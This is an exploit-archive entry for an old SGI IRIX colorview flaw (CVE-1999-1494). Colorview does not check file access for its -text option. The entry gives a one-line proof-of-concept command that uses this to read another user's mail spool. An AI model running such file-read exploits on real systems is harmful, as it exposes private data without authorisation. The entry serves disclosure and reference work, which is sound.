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SGI IRIX 6.0.1 - 'colorview' Read Files

Author: Dave Sill
type: local
platform: irix
port: 
date_added: 1995-02-09 
date_updated: 2017-11-22 
verified: 1 
codes: CVE-1999-1494;OSVDB-979 
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source: https://www.securityfocus.com/bid/336/info

Colorview fails to validate that the user has access to the file supplied to the -text option. As a result, users can view arbitrary files.

/usr/sbin/colorview -text /var/spool/mail/admin